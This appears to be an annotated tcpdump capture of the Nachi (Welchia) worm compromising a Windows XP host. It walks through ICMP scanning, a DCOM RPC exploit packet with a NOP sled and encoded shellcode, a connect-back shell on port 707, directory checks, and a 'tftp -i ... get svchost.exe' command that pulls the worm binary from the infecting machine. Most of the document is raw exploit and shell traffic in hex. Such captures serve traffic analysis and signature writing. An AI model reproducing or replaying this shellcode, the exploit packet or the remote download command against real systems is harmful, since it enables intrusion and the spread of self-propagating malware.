Nachi Worm !!!
Initial ICMP scanning
07:03:55.518251 XX.XX.XX.220 >
XXX.X.XX.120: icmp: echo request
0x0000 4500 005c 18d3 0000 7f01 085f 800a 10dc E..\......._....
0x0010 800a 097f 0800 28a1 0300 7709 aaaa aaaa ......(...w.....
0x0020 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa ................
0x0030 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa ................
0x0040 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa ................
0x0050 aaaa aaaa aaaa aaaa aaaa aaaa ............
07:03:55.518658 XXX.X.XX.120 > XX.XX.XX.220: icmp: echo reply
0x0000 4500 005c c4d1 0000 8001 5b60 800a 097f E..\......[`....
0x0010 800a 10dc 0000 30a1 0300 7709 aaaa aaaa ......0...w.....
0x0020 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa ................
0x0030 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa ................
0x0040 aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa ................
0x0050 aaaa aaaa aaaa aaaa aaaa aaaa ............
Initial TCP connection against 135 port !!!
07:03:55.544432 XX.XX.XX.220.1567 >
XXX.X.XX.120.135: S 336974721:336974721(0) win 16384 <mss 1460,nop,nop,sackOK>
(DF)
0x0000 4500 0030 18ed 4000 7f06 c86b 800a 10dc E..0..@....k....
0x0010 800a 097f 061f 0087 1415 d381 0000 0000 ................
0x0020 7002 4000 3a73 0000 0204 05b4 0101 0402 p.@.:s..........
07:03:55.546686 XXX.X.XX.120.135 > XX.XX.XX.220.1567: S 169765174:169765174(0)
ack 336974722 win 17520 <mss 1460,nop,nop,sackOK> (DF)
0x0000 4500 0030 c4d2 4000 8006 1b86 800a 097f E..0..@.........
0x0010 800a 10dc 0087 061f 0a1e 6936 1415 d382 ..........i6....
0x0020 7012 4470 c29d 0000 0204 05b4 0101 0402 p.Dp............
07:03:55.570109 XX.XX.XX.220.1567 > XXX.X.XX.120.135: . ack 1 win 17520 (DF)
0x0000 4500 0028 1910 4000 7f06 c850 800a 10dc E..(..@....P....
0x0010 800a 097f 061f 0087 1415 d382 0a1e 6937 ..............i7
0x0020 5010 4470 ef61 0000 aaaa aaaa aaaa P.Dp.a........
07:03:55.570350 XX.XX.XX.220.1567 > XXX.X.XX.120.135: P 1:73(72)
ack 1 win 17520 (DF)
0x0000 4500 0070 1911 4000 7f06 c807 800a 10dc E..p..@.........
0x0010 800a 097f 061f 0087 1415 d382 0a1e 6937 ..............i7
0x0020 5018 4470 a628 0000 0500 0b03 1000 0000 P.Dp.(..........
0x0030 4800 0000 7f00 0000 d016 d016 0000 0000 H...............
0x0040 0100 0000 0100 0100 a001 0000 0000 0000 ................
0x0050 c000 0000 0000 0046 0000 0000 045d 888a .......F.....]..
0x0060 eb1c c911 9fe8 0800 2b10 4860 0200 0000 ........+.H`....
07:03:55.575639 XXX.X.XX.120.135 > XX.XX.XX.220.1567: P 1:61(60) ack 73 win
17448 (DF)
0x0000 4500 0064 c4d3 4000 8006 1b51 800a 097f E..d..@....Q....
0x0010 800a 10dc 0087 061f 0a1e 6937 1415 d3ca ..........i7....
0x0020 5018 4428 9e2b 0000 0500 0c03 1000 0000 P.D(.+..........
0x0030 3c00 0000 7f00 0000 d016 d016 0b1e 0000 <...............
0x0040 0400 3133 3500 0000 0100 0000 0000 0000 ..135...........
0x0050 045d 888a eb1c c911 9fe8 0800 2b10 4860 .]..........+.H`
0x0060 0200 0000 ....
07:03:55.575652 XXX.X.XX.120.135 > XX.XX.XX.220.1567: P 1:61(60) ack 73 win
17448 (DF)
0x0000 4500 0064 c4d3 4000 8006 1b51 800a 097f E..d..@....Q....
0x0010 800a 10dc 0087 061f 0a1e 6937 1415 d3ca ..........i7....
0x0020 5018 4428 9e2b 0000 0500 0c03 1000 0000 P.D(.+..........
0x0030 3c00 0000 7f00 0000 d016 d016 0b1e 0000 <...............
0x0040 0400 3133 3500 0000 0100 0000 0000 0000 ..135...........
0x0050 045d 888a eb1c c911 9fe8 0800 2b10 4860 .]..........+.H`
0x0060 0200 0000 ....
Malicious packet containting exploit code of DCOM_RPC !!!
07:03:55.602388 XX.XX.XX.220.1567 >
XXX.X.XX.120.135: . 73:1533(1460) ack 61 win 17460 (DF)
0x0000 4500 05dc 1932 4000 7f06 c27a 800a 10dc E....2@....z....
0x0010 800a 097f 061f 0087 1415 d3ca 0a1e 6973 ..............is
0x0020 5010 4434 bca6 0000 0500 0003 1000 0000 P.D4............
0x0030 a806 0000 e500 0000 9006 0000 0100 0400 ................
0x0040 0500 0600 0100 0000 0000 0000 3224 58fd ............2$X.
0x0050 cc45 6449 b070 ddae 742c 96d2 605e 0d00 .EdI.p..t,..`^..
0x0060 0100 0000 0000 0000 705e 0d00 0200 0000 ........p^......
0x0070 7c5e 0d00 0000 0000 1000 0000 8096 f1f1 |^..............
0x0080 2a4d ce11 a66a 0020 af6e 72f4 0c00 0000 *M...j...nr.....
0x0090 4d41 5242 0100 0000 0000 0000 0df0 adba MARB............
0x00a0 0000 0000 a8f4 0b00 2006 0000 2006 0000 ................
0x00b0 4d45 4f57 0400 0000 a201 0000 0000 0000 MEOW............
0x00c0 c000 0000 0000 0046 3803 0000 0000 0000 .......F8.......
0x00d0 c000 0000 0000 0046 0000 0000 f005 0000 .......F........
0x00e0 e805 0000 0000 0000 0110 0800 cccc cccc ................
0x00f0 c800 0000 4d45 4f57 e805 0000 d800 0000 ....MEOW........
0x0100 0000 0000 0200 0000 0700 0000 0000 0000 ................
0x0110 0000 0000 0000 0000 0000 0000 c428 cd00 .............(..
0x0120 6429 cd00 0000 0000 0700 0000 b901 0000 d)..............
0x0130 0000 0000 c000 0000 0000 0046 ab01 0000 ...........F....
0x0140 0000 0000 c000 0000 0000 0046 a501 0000 ...........F....
0x0150 0000 0000 c000 0000 0000 0046 a601 0000 ...........F....
0x0160 0000 0000 c000 0000 0000 0046 a401 0000 ...........F....
0x0170 0000 0000 c000 0000 0000 0046 ad01 0000 ...........F....
0x0180 0000 0000 c000 0000 0000 0046 aa01 0000 ...........F....
0x0190 0000 0000 c000 0000 0000 0046 0700 0000 ...........F....
0x01a0 6000 0000 5800 0000 9000 0000 4000 0000 `...X.......@...
0x01b0 2000 0000 3803 0000 3000 0000 0100 0000 ....8...0.......
0x01c0 0110 0800 cccc cccc 5000 0000 4fb6 8820 ........P...O...
0x01d0 ffff ffff 0000 0000 0000 0000 0000 0000 ................
0x01e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0200 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0210 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0220 0110 0800 cccc cccc 4800 0000 0700 6600 ........H.....f.
0x0230 0609 0200 0000 0000 c000 0000 0000 0046 ...............F
0x0240 1000 0000 0000 0000 0000 0000 0100 0000 ................
0x0250 0000 0000 7819 0c00 5800 0000 0500 0600 ....x...X.......
0x0260 0100 0000 70d8 9893 984f d211 a93d be57 ....p....O...=.W
0x0270 b200 0000 3200 3100 0110 0800 cccc cccc ....2.1.........
0x0280 8000 0000 0df0 adba 0000 0000 0000 0000 ................
0x0290 0000 0000 0000 0000 1843 1400 0000 0000 .........C......
0x02a0 6000 0000 6000 0000 4d45 4f57 0400 0000 `...`...MEOW....
0x02b0 c001 0000 0000 0000 c000 0000 0000 0046 ...............F
0x02c0 3b03 0000 0000 0000 c000 0000 0000 0046 ;..............F
0x02d0 0000 0000 3000 0000 0100 0100 81c5 1703 ....0...........
0x02e0 800e e94a 9999 f18a 506f 7a85 0200 0000 ...J....Poz.....
0x02f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0300 0000 0000 0100 0000 0110 0800 cccc cccc ................
0x0310 3000 0000 7800 6e00 0000 0000 d8da 0d00 0...x.n.........
0x0320 0000 0000 0000 0000 202f 0c00 0000 0000 ........./......
0x0330 0000 0000 0300 0000 0000 0000 0300 0000 ................
0x0340 4600 5800 0000 0000 0110 0800 cccc cccc F.X.............
0x0350 1000 0000 3000 2e00 0000 0000 0000 0000 ....0...........
0x0360 0000 0000 0000 0000 0110 0800 cccc cccc ................
0x0370 6800 0000 0e00 ffff 688b 0b00 0200 0000 h.......h.......
0x0380 0000 0000 0000 0000 8601 0000 0000 0000 ................
0x0390 8601 0000 5c00 5c00 4600 5800 4e00 4200 ....\.\.F.X.N.B.
0x03a0 4600 5800 4600 5800 4e00 4200 4600 5800 F.X.F.X.N.B.F.X.
0x03b0 4600 5800 4600 5800 4600 5800 9d13 0001 F.X.F.X.F.X.....
0x03c0 cce0 fd7f cce0 fd7f 9090 9090 9090 9090 ................
0x03d0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x03e0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x03f0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0400 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0410 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0420 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0430 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0440 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0450 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0460 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0470 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0480 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0490 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04a0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04b0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04c0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04d0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04e0 9090 9090 9090 9090 9090 9090 9090 eb10 ................
0x04f0 5a4a 33c9 66b9 7601 8034 0a99 e2fa eb05 ZJ3.f.v..4......
0x0500 e8eb ffff ff70 6199 9999 c321 9569 64e6 .....pa....!.id.
0x0510 1299 12e9 8534 12d9 9112 4112 eaa5 9a6a .....4....A....j
0x0520 12ef e19a 6a12 e7b9 9a62 12d7 8daa 74cf ....j....b....t.
0x0530 cec8 12a6 9a62 126b f397 c06a 3fed 91c0 .....b.k...j?...
0x0540 c61a 5e9d dc7b 70c0 c6c7 1254 12df bd9a ..^..{p....T....
0x0550 5a48 789a 58aa 50ff 1291 12df 859a 5a58 ZHx.X.P.......ZX
0x0560 789b 9a58 1299 9a5a 1263 126e 1a5f 9712 x..X...Z.c.n._..
0x0570 49f3 9ac0 71ed 9999 991a 5f94 cbcf 66ce I...q....._...f.
0x0580 65c3 1241 f39a c071 f899 9999 1a75 dd12 e..A...q.....u..
0x0590 6df3 89c0 109d 177b 62c9 c9c9 c9f3 98f3 m......{b.......
0x05a0 9b66 ce6d 1241 10c7 a110 c7a5 10c7 d9ff .f.m.A..........
0x05b0 5edf b598 9814 de89 c9cf aa59 c9c9 c9f3 ^..........Y....
0x05c0 98c9 c914 cea5 5e9b faf4 fd99 cbc9 66ce ......^.......f.
0x05d0 715e 9e9b 999b 5a5e de9d 1993 q^....Z^....
07:03:55.602392 XX.XX.XX.220.1567 > XXX.X.XX.120.135: P 1533:1777(244) ack 61
win 17460 (DF)
0x0000 4500 011c 1933 4000 7f06 c739 800a 10dc E....3@....9....
0x0010 800a 097f 061f 0087 1415 d97e 0a1e 6973 ...........~..is
0x0020 5018 4434 8d62 0000 8945 f389 ceca 66ce P.D4.b...E....f.
0x0030 61ca 66ce 65c9 66ce 75aa 5935 1c59 ec60 a.f.e.f.u.Y5.Y.`
0x0040 c8cb cfca 664b c3c0 327b 77aa 595a 719a ....fK..2{w.YZq.
0x0050 6666 66de fced c9eb f6fa d8fd fdeb fcea fff.............
0x0060 ea99 daeb fcf8 edfc c9eb f6fa fcea ead8 ................
0x0070 99dc e1f0 edcd f1eb fcf8 fd99 d5f6 f8fd ................
0x0080 d5f0 fbeb f8eb e0d8 99ee eaab c6aa ab99 ................
0x0090 ceca d8ca f6fa f2fc edd8 99fa f6f7 f7fc ................
0x00a0 faed 99fa f5f6 eafc eaf6 faf2 fced 9900 ................
0x00b0 5c00 4300 2400 5c00 3100 3200 3300 3400 \.C.$.\.1.2.3.4.
0x00c0 3500 3600 3100 3100 3100 3100 3100 3100 5.6.1.1.1.1.1.1.
0x00d0 3100 3100 3100 3100 3100 3100 3100 3100 1.1.1.1.1.1.1.1.
0x00e0 3100 2e00 6400 6f00 6300 0000 0110 0800 1...d.o.c.......
0x00f0 cccc cccc 2000 0000 3000 2d00 0000 0000 ........0.-.....
0x0100 882a 0c00 0200 0000 0100 0000 288c 0c00 .*..........(...
0x0110 0100 0000 0700 0000 0000 0000 ............
07:03:55.623696 XXX.X.XX.120.135 > XX.XX.XX.220.1567: . ack 1777 win 17520 (DF)
0x0000 4500 0028 c4d4 4000 8006 1b8c 800a 097f E..(..@.........
0x0010 800a 10dc 0087 061f 0a1e 6973 1415 da72 ..........is...r
0x0020 5010 4470 e835 0000 0204 05b4 0101 P.Dp.5........
07:03:55.623708 XXX.X.XX.120.135 > XX.XX.XX.220.1567: . ack 1777 win 17520 (DF)
0x0000 4500 0028 c4d4 4000 8006 1b8c 800a 097f E..(..@.........
0x0010 800a 10dc 0087 061f 0a1e 6973 1415 da72 ..........is...r
0x0020 5010 4470 e835 0000 0204 05b4 0101 P.Dp.5........
A Connect-back shellcode is invoked and connected back to infecting machine on 707 port !!!
07:03:55.637089 XXX.X.XX.120.3912 >
XX.XX.XX.220.707: S 169808185:169808185(0) win 16384 <mss 1460,nop,nop,sackOK>
(DF)
0x0000 4500 0030 c4d5 4000 8006 1b83 800a 097f E..0..@.........
0x0010 800a 10dc 0f48 02c3 0a1f 1139 0000 0000 .....H.....9....
0x0020 7002 4000 fb4c 0000 0204 05b4 0101 0402 p.@..L..........
07:03:55.663470 XX.XX.XX.220.707 > XXX.X.XX.120.3912: S 337818263:337818263(0)
ack 169808186 win 17520 <mss 1460,nop,nop,sackOK> (DF)
0x0000 4500 0030 197a 4000 7f06 c7de 800a 10dc E..0.z@.........
0x0010 800a 097f 02c3 0f48 1422 b297 0a1f 113a .......H.".....:
0x0020 7012 4470 3012 0000 0204 05b4 0101 0402 p.Dp0...........
07:03:55.665364 XXX.X.XX.120.3912 > XX.XX.XX.220.707: . ack 1 win 17520 (DF)
0x0000 4500 0028 c4d6 4000 8006 1b8a 800a 097f E..(..@.........
0x0010 800a 10dc 0f48 02c3 0a1f 113a 1422 b298 .....H.....:."..
0x0020 5010 4470 5cd6 0000 0204 05b4 0101 P.Dp\.........
07:03:55.665375 XXX.X.XX.120.3912 > XX.XX.XX.220.707: . ack 1 win
17520 (DF)
0x0000 4500 0028 c4d6 4000 8006 1b8a 800a 097f E..(..@.........
0x0010 800a 10dc 0f48 02c3 0a1f 113a 1422 b298 .....H.....:."..
0x0020 5010 4470 5cd6 0000 0204 05b4 0101 P.Dp\.........
07:03:55.674499 XXX.X.XX.120.135 > XX.XX.XX.220.1567: F 61:61(0) ack 1777 win
17520 (DF)
0x0000 4500 0028 c4d7 4000 8006 1b89 800a 097f E..(..@.........
0x0010 800a 10dc 0087 061f 0a1e 6973 1415 da72 ..........is...r
0x0020 5011 4470 e834 0000 0204 05b4 0101 P.Dp.4........
07:03:55.674512 XXX.X.XX.120.135 > XX.XX.XX.220.1567: F 61:61(0) ack 1777 win
17520 (DF)
0x0000 4500 0028 c4d7 4000 8006 1b89 800a 097f E..(..@.........
0x0010 800a 10dc 0087 061f 0a1e 6973 1415 da72 ..........is...r
0x0020 5011 4470 e834 0000 0204 05b4 0101 P.Dp.4........
07:03:55.680642 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 1:40(39) ack 1 win
17520 (DF)
0x0000 4500 004f c4d8 4000 8006 1b61 800a 097f E..O..@....a....
0x0010 800a 10dc 0f48 02c3 0a1f 113a 1422 b298 .....H.....:."..
0x0020 5018 4470 7194 0000 4d69 6372 6f73 6f66 P.Dpq...Microsof
0x0030 7420 5769 6e64 6f77 7320 5850 205b 5665 t.Windows.XP.[Ve
0x0040 7273 696f 6e20 352e 312e 3236 3030 5d rsion.5.1.2600]
07:03:55.680653 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 1:40(39) ack 1 win
17520 (DF)
0x0000 4500 004f c4d8 4000 8006 1b61 800a 097f E..O..@....a....
0x0010 800a 10dc 0f48 02c3 0a1f 113a 1422 b298 .....H.....:."..
0x0020 5018 4470 7194 0000 4d69 6372 6f73 6f66 P.Dpq...Microsof
0x0030 7420 5769 6e64 6f77 7320 5850 205b 5665 t.Windows.XP.[Ve
0x0040 7273 696f 6e20 352e 312e 3236 3030 5d rsion.5.1.2600]
07:03:55.695771 XX.XX.XX.220.1567 > XXX.X.XX.120.135: . ack 62 win 17460 (DF)
0x0000 4500 0028 199e 4000 7f06 c7c2 800a 10dc E..(..@.........
0x0010 800a 097f 061f 0087 1415 da72 0a1e 6974 ...........r..it
0x0020 5010 4434 e870 0000 0204 05b4 0101 P.D4.p........
07:03:55.695987 XX.XX.XX.220.1567 > XXX.X.XX.120.135: F 1777:1777(0) ack 62 win
17460 (DF)
0x0000 4500 0028 19a0 4000 7f06 c7c0 800a 10dc E..(..@.........
0x0010 800a 097f 061f 0087 1415 da72 0a1e 6974 ...........r..it
0x0020 5011 4434 e86f 0000 0204 05b4 0101 P.D4.o........
07:03:55.697680 XXX.X.XX.120.135 > XX.XX.XX.220.1567: . ack 1778 win 17520 (DF)
0x0000 4500 0028 c4d9 4000 8006 1b87 800a 097f E..(..@.........
0x0010 800a 10dc 0087 061f 0a1e 6974 1415 da73 ..........it...s
0x0020 5010 4470 e833 0000 0204 05b4 0101 P.Dp.3........
07:03:55.697690 XXX.X.XX.120.135 > XX.XX.XX.220.1567: . ack 1778 win 17520 (DF)
0x0000 4500 0028 c4d9 4000 8006 1b87 800a 097f E..(..@.........
0x0010 800a 10dc 0087 061f 0a1e 6974 1415 da73 ..........it...s
0x0020 5010 4470 e833 0000 0204 05b4 0101 P.Dp.3........
07:03:55.878958 XX.XX.XX.220.707 > XXX.X.XX.120.3912: . ack 40 win 17481 (DF)
0x0000 4500 0028 1a74 4000 7f06 c6ec 800a 10dc E..(.t@.........
0x0010 800a 097f 02c3 0f48 1422 b298 0a1f 1161 .......H.".....a
0x0020 5010 4449 5cd6 0000 0204 05b4 0101 P.DI\.........
07:03:55.880082 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 40:105(65) ack 1 win
17520 (DF)
0x0000 4500 0069 c4da 4000 8006 1b45 800a 097f E..i..@....E....
0x0010 800a 10dc 0f48 02c3 0a1f 1161 1422 b298 .....H.....a."..
0x0020 5018 4470 c7ee 0000 0d0a 2843 2920 436f P.Dp......(C).Co
0x0030 7079 7269 6768 7420 3139 3835 2d32 3030 pyright.1985-200
0x0040 3120 4d69 6372 6f73 6f66 7420 436f 7270 1.Microsoft.Corp
0x0050 2e0d 0a0d 0a43 3a5c 5749 4e44 4f57 535c .....C:\WINDOWS\
0x0060 7379 7374 656d 3332 3e system32>
07:03:55.880093 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 40:105(65) ack 1 win
17520 (DF)
0x0000 4500 0069 c4da 4000 8006 1b45 800a 097f E..i..@....E....
0x0010 800a 10dc 0f48 02c3 0a1f 1161 1422 b298 .....H.....a."..
0x0020 5018 4470 c7ee 0000 0d0a 2843 2920 436f P.Dp......(C).Co
0x0030 7079 7269 6768 7420 3139 3835 2d32 3030 pyright.1985-200
0x0040 3120 4d69 6372 6f73 6f66 7420 436f 7270 1.Microsoft.Corp
0x0050 2e0d 0a0d 0a43 3a5c 5749 4e44 4f57 535c .....C:\WINDOWS\
0x0060 7379 7374 656d 3332 3e system32>
Checking whether it has been compromised by Nachi Worm before !!!
07:03:55.885196 XX.XX.XX.220.707 >
XXX.X.XX.120.3912: P 1:23(22) ack 105 win 17416 (DF)
0x0000 4500 003e 1a7b 4000 7f06 c6cf 800a 10dc E..>.{@.........
0x0010 800a 097f 02c3 0f48 1422 b298 0a1f 11a2 .......H."......
0x0020 5018 4408 4ac5 0000 6469 7220 7769 6e73 P.D.J...dir.wins
0x0030 5c64 6c6c 686f 7374 2e65 7865 0a0d \dllhost.exe..
07:03:55.887025 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 105:126(21) ack 23 win
17498 (DF)
0x0000 4500 003d c4db 4000 8006 1b70 800a 097f E..=..@....p....
0x0010 800a 10dc 0f48 02c3 0a1f 11a2 1422 b2ae .....H......."..
0x0020 5018 445a 4a6b 0000 6469 7220 7769 6e73 P.DZJk..dir.wins
0x0030 5c64 6c6c 686f 7374 2e65 7865 0a \dllhost.exe.
07:03:55.887038 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 105:126(21) ack 23 win
17498 (DF)
0x0000 4500 003d c4db 4000 8006 1b70 800a 097f E..=..@....p....
0x0010 800a 10dc 0f48 02c3 0a1f 11a2 1422 b2ae .....H......."..
0x0020 5018 445a 4a6b 0000 6469 7220 7769 6e73 P.DZJk..dir.wins
0x0030 5c64 6c6c 686f 7374 2e65 7865 0a \dllhost.exe.
07:03:56.074068 XX.XX.XX.220.707 > XXX.X.XX.120.3912: . ack 126 win 17395 (DF)
0x0000 4500 0028 1aac 4000 7f06 c6b4 800a 10dc E..(..@.........
0x0010 800a 097f 02c3 0f48 1422 b2ae 0a1f 11b7 .......H."......
0x0020 5010 43f3 5cc0 0000 5480 2db1 e9b8 P.C.\...T.-...
07:03:56.078757 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 126:278(152) ack 23 win
17498 (DF)
0x0000 4500 00c0 c4f0 4000 8006 1ad8 800a 097f E.....@.........
0x0010 800a 10dc 0f48 02c3 0a1f 11b7 1422 b2ae .....H......."..
0x0020 5018 445a e5ae 0000 2056 6f6c 756d 6520 P.DZ.....Volume.
0x0030 696e 2064 7269 7665 2043 2068 6173 206e in.drive.C.has.n
0x0040 6f20 6c61 6265 6c2e 0d0a 2056 6f6c 756d o.label....Volum
0x0050 6520 5365 7269 616c 204e 756d 6265 7220 e.Serial.Number.
0x0060 6973 2046 3046 452d 3430 4246 0d0a 0d0a is.F0FE-40BF....
0x0070 2044 6972 6563 746f 7279 206f 6620 433a .Directory.of.C:
0x0080 5c57 494e 444f 5753 5c73 7973 7465 6d33 \WINDOWS\system3
0x0090 325c 7769 6e73 0d0a 0d0a 4669 6c65 204e 2\wins....File.N
0x00a0 6f74 2046 6f75 6e64 0d0a 0d0a 433a 5c57 ot.Found....C:\W
0x00b0 494e 444f 5753 5c73 7973 7465 6d33 323e INDOWS\system32>
07:03:56.078769 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 126:278(152) ack 23 win
17498 (DF)
0x0000 4500 00c0 c4f0 4000 8006 1ad8 800a 097f E.....@.........
0x0010 800a 10dc 0f48 02c3 0a1f 11b7 1422 b2ae .....H......."..
0x0020 5018 445a e5ae 0000 2056 6f6c 756d 6520 P.DZ.....Volume.
0x0030 696e 2064 7269 7665 2043 2068 6173 206e in.drive.C.has.n
0x0040 6f20 6c61 6265 6c2e 0d0a 2056 6f6c 756d o.label....Volum
0x0050 6520 5365 7269 616c 204e 756d 6265 7220 e.Serial.Number.
0x0060 6973 2046 3046 452d 3430 4246 0d0a 0d0a is.F0FE-40BF....
0x0070 2044 6972 6563 746f 7279 206f 6620 433a .Directory.of.C:
0x0080 5c57 494e 444f 5753 5c73 7973 7465 6d33 \WINDOWS\system3
0x0090 325c 7769 6e73 0d0a 0d0a 4669 6c65 204e 2\wins....File.N
0x00a0 6f74 2046 6f75 6e64 0d0a 0d0a 433a 5c57 ot.Found....C:\W
0x00b0 494e 444f 5753 5c73 7973 7465 6d33 323e INDOWS\system32>
07:03:56.081448 XX.XX.XX.220.707 > XXX.X.XX.120.3912: P 23:47(24) ack 278 win
17243 (DF)
0x0000 4500 0040 1aad 4000 7f06 c69b 800a 10dc E..@..@.........
0x0010 800a 097f 02c3 0f48 1422 b2ae 0a1f 124f .......H.".....O
0x0020 5018 435b 0759 0000 6469 7220 646c 6c63 P.C[.Y..dir.dllc
0x0030 6163 6865 5c74 6674 7064 2e65 7865 0a0d ache\tftpd.exe..
07:03:56.084606 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 278:302(24) ack 47 win
17474 (DF)
0x0000 4500 0040 c4f1 4000 8006 1b57 800a 097f E..@..@....W....
0x0010 800a 10dc 0f48 02c3 0a1f 124f 1422 b2c6 .....H.....O."..
0x0020 5018 4442 144c 0000 0d64 6972 2064 6c6c P.DB.L...dir.dll
0x0030 6361 6368 655c 7466 7470 642e 6578 650a cache\tftpd.exe.
07:03:56.084618 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 278:302(24) ack 47 win
17474 (DF)
0x0000 4500 0040 c4f1 4000 8006 1b57 800a 097f E..@..@....W....
0x0010 800a 10dc 0f48 02c3 0a1f 124f 1422 b2c6 .....H.....O."..
0x0020 5018 4442 144c 0000 0d64 6972 2064 6c6c P.DB.L...dir.dll
0x0030 6361 6368 655c 7466 7470 642e 6578 650a cache\tftpd.exe.
07:03:56.324476 XX.XX.XX.220.707 > XXX.X.XX.120.3912: . ack 302 win 17219 (DF)
0x0000 4500 0028 1ab0 4000 7f06 c6b0 800a 10dc E..(..@.........
0x0010 800a 097f 02c3 0f48 1422 b2c6 0a1f 1267 .......H.".....g
0x0020 5010 4343 5ca8 0000 5480 2db1 e9b8 P.CC\...T.-...
07:03:56.328639 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 302:458(156) ack 47 win
17474 (DF)
0x0000 4500 00c4 c505 4000 8006 1abf 800a 097f E.....@.........
0x0010 800a 10dc 0f48 02c3 0a1f 1267 1422 b2c6 .....H.....g."..
0x0020 5018 4442 303f 0000 2056 6f6c 756d 6520 P.DB0?...Volume.
0x0030 696e 2064 7269 7665 2043 2068 6173 206e in.drive.C.has.n
0x0040 6f20 6c61 6265 6c2e 0d0a 2056 6f6c 756d o.label....Volum
0x0050 6520 5365 7269 616c 204e 756d 6265 7220 e.Serial.Number.
0x0060 6973 2046 3046 452d 3430 4246 0d0a 0d0a is.F0FE-40BF....
0x0070 2044 6972 6563 746f 7279 206f 6620 433a .Directory.of.C:
0x0080 5c57 494e 444f 5753 5c73 7973 7465 6d33 \WINDOWS\system3
0x0090 325c 646c 6c63 6163 6865 0d0a 0d0a 4669 2\dllcache....Fi
0x00a0 6c65 204e 6f74 2046 6f75 6e64 0d0a 0d0a le.Not.Found....
0x00b0 433a 5c57 494e 444f 5753 5c73 7973 7465 C:\WINDOWS\syste
0x00c0 6d33 323e m32>
07:03:56.328651 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 302:458(156) ack 47 win
17474 (DF)
0x0000 4500 00c4 c505 4000 8006 1abf 800a 097f E.....@.........
0x0010 800a 10dc 0f48 02c3 0a1f 1267 1422 b2c6 .....H.....g."..
0x0020 5018 4442 303f 0000 2056 6f6c 756d 6520 P.DB0?...Volume.
0x0030 696e 2064 7269 7665 2043 2068 6173 206e in.drive.C.has.n
0x0040 6f20 6c61 6265 6c2e 0d0a 2056 6f6c 756d o.label....Volum
0x0050 6520 5365 7269 616c 204e 756d 6265 7220 e.Serial.Number.
0x0060 6973 2046 3046 452d 3430 4246 0d0a 0d0a is.F0FE-40BF....
0x0070 2044 6972 6563 746f 7279 206f 6620 433a .Directory.of.C:
0x0080 5c57 494e 444f 5753 5c73 7973 7465 6d33 \WINDOWS\system3
0x0090 325c 646c 6c63 6163 6865 0d0a 0d0a 4669 2\dllcache....Fi
0x00a0 6c65 204e 6f74 2046 6f75 6e64 0d0a 0d0a le.Not.Found....
0x00b0 433a 5c57 494e 444f 5753 5c73 7973 7465 C:\WINDOWS\syste
0x00c0 6d33 323e m32>
No, instruct it to download one !!!
07:03:56.332760
XX.XX.XX.220.707 > XXX.X.XX.120.3912: P 47:103(56) ack 458 win 17063 (DF)
0x0000 4500 0060 1ab2 4000 7f06 c676 800a 10dc E..`..@....v....
0x0010 800a 097f 02c3 0f48 1422 b2c6 0a1f 1303 .......H."......
0x0020 5018 42a7 63b3 0000 7466 7470 202d 6920 P.B.c...tftp.-i.
0x0030 3132 382e 3130 2e31 362e 3232 3020 6765 XX.XX.XX.220.ge
0x0040 7420 7376 6368 6f73 742e 6578 6520 7769 t.svchost.exe.wi
0x0050 6e73 5c53 5643 484f 5354 2e45 5845 0a0d ns\SVCHOST.EXE..
07:03:56.338895 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 458:514(56) ack 103 win
17418 (DF)
0x0000 4500 0060 c507 4000 8006 1b21 800a 097f E..`..@....!....
0x0010 800a 10dc 0f48 02c3 0a1f 1303 1422 b2fe .....H......."..
0x0020 5018 440a a5d4 0000 0d74 6674 7020 2d69 P.D......tftp.-i
0x0030 2031 3238 2e31 302e 3136 2e32 3230 2067 .XX.XX.XX.220.g
0x0040 6574 2073 7663 686f 7374 2e65 7865 2077 et.svchost.exe.w
0x0050 696e 735c 5356 4348 4f53 542e 4558 450a ins\SVCHOST.EXE.
Thansmitting it via tftp !!!
07:03:56.398400 XXX.X.XX.120.3953 > XX.XX.XX.220.69: 20 RRQ "svchost.exe"
0x0000 4500 0030 c508 0000 8011 5b45 800a 097f E..0......[E....
0x0010 800a 10dc 0f71 0045 001c f8cc 0001 7376 .....q.E......sv
0x0020 6368 6f73 742e 6578 6500 6f63 7465 7400 chost.exe.octet.
07:03:56.398414 XXX.X.XX.120.3953 > XX.XX.XX.220.69: 20 RRQ "svchost.exe"
0x0000 4500 0030 c508 0000 8011 5b45 800a 097f E..0......[E....
